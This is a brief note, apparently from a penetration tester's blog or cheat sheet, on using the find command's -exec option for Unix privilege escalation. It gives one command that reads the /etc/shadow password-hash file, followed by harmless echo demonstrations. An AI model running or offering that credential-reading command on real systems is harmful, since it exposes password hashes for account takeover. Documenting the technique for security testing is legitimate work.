Unix Privilege Escalation via Find's Exec Command Option

Unix Privilege Escalation via Find's Exec Command Option

find . -exec cat /etc/shadow  \;

Other Examples:

root@kali:~/# find . -exec echo hi  \;
hi
hi
hi
hi
hi

root@kali:~/# find . -exec echo hi {} \;
hi .
hi ./.gitignore
hi ./phantomjs
hi ./jquery-1.11.3.min.js
hi ./dismissauth.xpi
root@kali:~/Tools/EyeWitness-master/bin#

Inspired by:
http://unix.stackexchange.com/questions/12902/how-to-run-find-exec
http://man7.org/linux/man-pages/man1/find.1.html